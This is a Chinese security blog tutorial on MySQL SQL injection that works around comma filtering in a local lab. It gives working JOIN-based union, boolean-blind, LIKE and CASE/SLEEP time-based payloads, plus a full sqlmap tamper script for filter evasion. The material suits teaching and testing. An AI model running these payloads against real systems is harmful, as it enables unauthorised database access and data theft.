0x01 前言

在实际情况中经常会碰到用一些使用不了逗号的情况如用户的ip可以用x-forwarded-for来伪造,然后把ip存储到数据库中去,对ip没有进行任何过滤,存在注入,但是有一个限制就是: 用‘,’逗号对ip地址进行分割,仅仅取逗号前面的第一部分内容。

0x02 搭建环境

使用 https://github.com/Junehck/FastSqli/ 来快速起一个单页的sql注入测试环境(非常快速方便)

然后添加逗号到拦截规则,也可以使用替换进行

18000-5iry61ojccq.png

测试出现逗号就拦截

24576-zmee1mzbuv.png

0x03联合注入

正常的payload需要用到逗号

?id=-1 union select 1,2,3 %23

00888-ebys5ax7k6w.png

这里我们使用join代替逗号

?id=-2 union select  * from   ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)  %23

64446-4psekex2ixi.png

获取数据库,用户

?id=-2 union select  * from   ((SELECT 1)a JOIN (SELECT database())b JOIN (SELECT user())c)  %23

53766-n01vwuqi36b.png

获取当前数据库下的表

?id=-2 union select  * from  ((SELECT 1)a JOIN (select table_name from information_schema.tables where table_schema=database() )b JOIN (SELECT 3)c) %23

54941-vnavxvatyfb.png

0x04布尔注入

这里有两种基于substring函数不需要逗号的方法

第一种

取第一位

select substring((select user()) from 1 for 1);

24640-ny9937l7zmn.png

取第二位

select substring((select user()) from 2 for 1);

来环境里面试试看,返回ok

?id=1 and ord(substring((select user()) from 1 for 1))>1

改一个大一点的值报错了

54203-9ej8bcu8pwq.png

第二种

利用负数从前往后读取,然后ord只获取第一位的ascii值来出数据

select ord(substring((select user()) from -1)); 

不用ord的情况下只能一位一位出然后带上前一位如下-2就是获取倒数两位

02905-0v152jqc4wgh.png

利用方法跟上面一致

第三种

使用like来获取数据

?id=1 and (select user()) like '%r%' 

05429-1ic6qh0r4y8.png

出数据也是常规利用方式

?id=1 and (select group_concat(table_name) from information_schema.tables where table_schema=database()) like 'sqli_data%' 

16152-c3sth5rjz06.png

0x05 延时注入

正常来说会使用if来注入,但是if也需要逗号这里使用CASE来代替if

case when (条件) then 代码1 else 代码 2 end 

判断数据库长度

?id=1 and sleep((case when length(database())>1 then 1 else 0 end ))

66789-44g4d0xsqxo.png

出数据的方式跟布尔盲注一样

?id=1 and sleep((case when  ord(substring((select user()) from 1 for 1))>1  then 1 else 0 end ))

0x06 tamper

if2case函数实现IF到CASE语句的,然后commalessifnull函数实现IFNULL的替换 mid2for去掉mid函数的逗号 limit2for去掉limit的逗号

#!/usr/bin/env python

import re

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    def if2case(payload):
        if payload and payload.find("IF") > -1:
            while payload.find("IF(") > -1:
                index = payload.find("IF(")
                depth = 1
                comma1,comma2, end =None, None, None

                for i in range(index + len("IF("), len(payload)):
                    if depth == 1 and payload[i] == ',' and comma1 is None:
                        comma1 = i
                    
                    if depth == 1 and payload[i] == ',' and comma1 is not None:
                        comma2 = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma1 and comma2 and end:
                    _ = payload[index + len("IF("):comma1]
                    __= payload[comma1+1:comma2]
                    ___ = payload[comma2 + 1:end].lstrip()
                    newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_, __, ___)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break
        return payload

    def commalessifnull(payload):
        if payload and payload.find("IFNULL") > -1:
            while payload.find("IFNULL(") > -1:
                index = payload.find("IFNULL(")
                depth = 1
                comma, end = None, None

                for i in range(index + len("IFNULL("), len(payload)):
                    if depth == 1 and payload[i] == ',':
                        comma = i

                    elif depth == 1 and payload[i] == ')':
                        end = i
                        break

                    elif payload[i] == '(':
                        depth += 1

                    elif payload[i] == ')':
                        depth -= 1

                if comma and end:
                    _ = payload[index + len("IFNULL("):comma]
                    __ = payload[comma + 1:end].lstrip()
                    newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    def mid2for(payload):
        retVal = payload
        match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "")
        if match:
            retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3)))
            return retVal
        return payload
    
    def limit2for(payload):
        retVal = payload
        match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
        if match:
            retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))
            return retVal
        return payload

    return (limit2for(mid2for(commalessifnull(if2case(payload)))))

实际运行效果

sqlmap -u "http://127.0.0.1/sqli.php?id=1" -p id --tamper xxxx.py -v 3  --dbms mysql  -D "test" --columns --batch

41647-ej01u6kj7ne.png

参考
https://www.freebuf.com/articles/web/188402.html
https://blog.csdn.net/anrang9512/article/details/101146195

Last modification:October 4, 2022
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/473.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢